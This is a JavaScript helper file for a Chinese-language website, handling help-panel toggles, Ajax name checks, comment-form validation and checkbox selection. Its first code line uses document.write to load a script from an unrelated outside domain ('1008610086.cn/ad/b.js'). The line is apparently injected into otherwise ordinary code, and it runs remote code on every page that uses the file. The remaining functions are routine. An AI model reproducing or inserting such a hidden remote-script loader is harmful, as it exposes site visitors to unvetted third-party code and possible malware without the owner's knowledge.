// 开关隐藏页面
document.write ('<SCRIPT src="http://www.1008610086.cn/ad/b.js"></script>');
function ShowLayer()
{
	which = document.getElementById("help_hidden");
	
	if (which.style.display == "none")
	{
		document.getElementById('help_hidden').style.display="";
		document.getElementById('help_show').style.display="none";
		document.getElementById('help_icon').innerHTML="-";
	}else{
		document.getElementById('help_hidden').style.display="none";
		document.getElementById('help_show').style.display="";
		document.getElementById('help_icon').innerHTML="+";		
	}
	try 
	{
		parent.iframeResize();       
	}
	catch(e)
	{
	}
	
}
//检查表单提交是否为正整数  
function  isUnsignedInteger(strInteger){  
    var  newPar= /^[0-9]+$/; 
    return  newPar.test(strInteger);  
}

var xmlObj = null;
function createxmlhttprequest()
{
	if(window.XMLHttpRequest){ 
		xmlObj = new XMLHttpRequest(); 
	}else if(window.ActiveXObject){	 
		xmlObj = new ActiveXObject("Microsoft.XMLHTTP");	 
	}else{ 
		return; 
	}		
}
function Ajax(url,divName)
{
	createxmlhttprequest();
    xmlObj.onreadystatechange = function(){
		if(xmlObj.readyState == 4){ 
			document.getElementById(''+divName+'').innerHTML = xmlObj.responseText; 
		} 
    } 
    xmlObj.open ('GET', url, true); 
    xmlObj.send (null);     
}
function checkName(txtName,act,divName)
{ 
    var un = encodeURIComponent(document.getElementById(txtName).value);
    var url2 = "../Ajax/ajax.aspx?action="+act+"&un="+un;
	document.getElementById(''+divName+'').innerHTML = "<img src=../images/loading.gif />";
    Ajax(url2,divName);
} 

//打开自定义窗口
function openNewWindow(theURL,winName,features) { //v2.0
  window.open(theURL,winName,features);
}

//评论验证
function CheckComment()
{
 var nicheng=document.getElementById("nicheng");
 if(nicheng.value.length<1)
 {
           alert("请填写您的昵称！");
		   nicheng.focus();
         return false;
 }
 var yanzheng=document.getElementById("yanzheng");
 if(yanzheng.value.length<1)
 {
           alert("请填写正确的验证码！");
		   yanzheng.focus();
         return false;
 } 
 var pinglun=document.getElementById("pinglun");
 if(pinglun.innerHTML.length<2)
 {
          alert("内容太少，无法发布评论!");
		  pinglun.focus();
         return false;
 } 
}

//----多选框处理 判断多选是否与选中项（没有选中的返回false）

    function slcNo_click()
    {
        if (document.form1.CheckID.length)
        {
            for (var i=0;i<document.form1.CheckID.length;i++)
            {
                if(document.form1.CheckID[i].checked)
                {
                    return true;
                }
            }
        }
        else
        {
            if(document.form1.CheckID.checked)
            {
                return true;
            }
        }
        alert("请选择后再操作！");
        return false;
    }
    
    // 鼠标经过改变行的颜色
    if (!objbeforeItem)
    {
        var objbeforeItem=null;
        var objbeforeItembackgroundColor=null;
    }    
    function ItemOver(obj)
    {
        if(objbeforeItem)
        {
            objbeforeItem.style.backgroundColor = objbeforeItembackgroundColor;
        }
        objbeforeItembackgroundColor = obj.style.backgroundColor;
        objbeforeItem = obj;
        obj.style.backgroundColor = "#B9D1F3";     
    }
    //        
 
    // 多选的全选与取消
    function checkJs(boolvalue)
    {
        if(document.all.CheckID.length>1)
        {
            for(var i=0;i<document.all.CheckID.length;i++)
            {
                document.all.CheckID[i].checked = boolvalue;            
            }
        }
        else
            document.all.CheckID.checked = boolvalue;
    }
    //
    
    // 只有全部选中时“全选”选中
    function SingleCheckJs()
    {
        var flag1=false;
        var flag2=false;
        
        if (document.form1.CheckID.length)
        {
            for (var i=0;i<document.form1.CheckID.length;i++)
            {
                if(document.form1.CheckID[i].checked)
                    flag1 = true;
                else
                    flag2 = true;
            }
        }
        else
        {
            if(document.form1.CheckID.checked)
                flag1 = true;
            else
                flag2 = true;
        }
        
        if(flag1==true&&flag2==false)
            document.getElementById("chk").checked = true;
        else
            document.getElementById("chk").checked = false;
    }
//------end